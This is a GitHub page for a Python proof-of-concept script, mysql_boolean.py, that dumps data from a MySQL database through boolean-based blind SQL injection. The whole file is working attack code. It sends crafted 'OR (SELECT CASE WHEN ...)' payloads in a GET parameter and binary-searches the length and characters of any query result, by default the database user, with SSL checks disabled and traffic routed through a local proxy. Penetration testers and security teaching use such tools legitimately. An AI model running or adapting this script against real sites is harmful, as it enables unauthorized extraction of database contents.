-
Notifications
You must be signed in to change notification settings - Fork 4
/
mysql_boolean.py
185 lines (143 loc) · 4.68 KB
/
mysql_boolean.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
################################################################################################
# Description:
# A rough HTTP GET based POC for dumping results from an Mysql database
# using boolean based SQL injection.
# Requirements: Python 2.7, requests
# Author: b0yd
#
################################################################################################
import requests
import urllib
import time
import math
import sys
proxies = None
#Comment out if not using a proxy like Burp, etc
proxies = {
'http': 'http://127.0.0.1:8080',
'https': 'http://127.0.0.1:8080',
}
#Example User Agent string
headers = {'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
'Content-Type':'application/x-www-form-urlencoded'}
#Set to bypass errors if the target site has SSL issues
requests.packages.urllib3.disable_warnings()
#Set this to the parameter name for the POST request
vuln_param_name = "username"
true_case = 'stuff'
#Target URL
url = "https://example.com"
#Set this to the beginning ascii ordinal value
begin_num = 20
#Set this to the end ascii ordinal value
end_num = 127
#Used to find the length of the returned SQL string
def get_str_length(query, start_ord, end_ord):
s = start_ord
e = end_ord
res_len = 0
mid = 0
#Update mid point
while True:
diff = e - s
if s == end_ord:
print ("[-] Length not found. Exiting")
res_len = 0
break
elif diff == 0:
res_len = s
break
#Set mid point
mid = int(math.floor(diff/2)) + s
#print "[+] Current ret query length: %d" % mid
data = "a' or (SELECT (CASE WHEN (length(%s)>%d) THEN (2) ELSE (1) END))=1-- " % (query, mid)
ret = make_request(url, data)
if ret == None:
return None
#Query succeeded
if true_case in ret.text:
#Move the range past the mid point
s = mid + 1
else:
#Move the range past to mid point
e = mid
return res_len
def make_request( addr, data ):
#add post data
param_dict = {vuln_param_name : data}
retry = 0
r = None
while True:
#Send request
try:
r = requests.get(addr, params = param_dict, proxies=proxies, verify=False, headers=headers)
break
except Exception as e:
#print(e)
retry += 1
if retry > 5:
print("[-] Unable to connect to server")
break
time.sleep(1 + retry)
return r
def get_string(str_len, query, start_ord, end_ord):
full_str = ''
counter = 1
while( len(full_str) < str_len ):
s = start_ord
e = end_ord
letter_found = False
mid = 0
while True:
#Update mid point
diff = e - s
if s == end_ord:
print ("[-] Letter not found. Exiting")
break
elif diff == 0:
full_str += chr(s)
counter += 1
letter_found = True
break
#Set mid point
mid = int(math.floor(diff/2)) + s
#print "[+] Current ASCII char: %d" % mid
if mid == start_ord:
print ("[-] Letter not found. Exiting")
break
#Construct query
data = "a' or (SELECT (CASE WHEN ((ascii(substring((%s),%s,1)))>%d) THEN (2) ELSE (1) END))=1-- " % (query, counter, mid)
ret = make_request(url, data)
if ret == None:
break
#Query succeeded
if true_case in ret.text:
#if success_str in ret:
#Move the range past the mid point
s = mid + 1
#print("[+] True case")
else:
#Move the range past to mid point
e = mid
#print("[+] False case")
print (full_str)
#sys.exit(1)
if letter_found == False:
print ("[-] Letter not found. Exiting")
break
return full_str
#SQL query to execute
query = "user()"
if len(sys.argv) > 1:
query = sys.argv[1]
#Print the query
print ("[+] Running query: '%s'" % query)
stime = time.time()
#Get result string length
str_len = get_str_length(query, 0, 500)
print ("[+] Length: %d" % str_len)
if str_len > 0:
user = get_string(str_len, query, begin_num, end_num)
etime = time.time()
print ("[+] Result: %s" % user)
print ("[+] Total Time: %d seconds" % (etime-stime))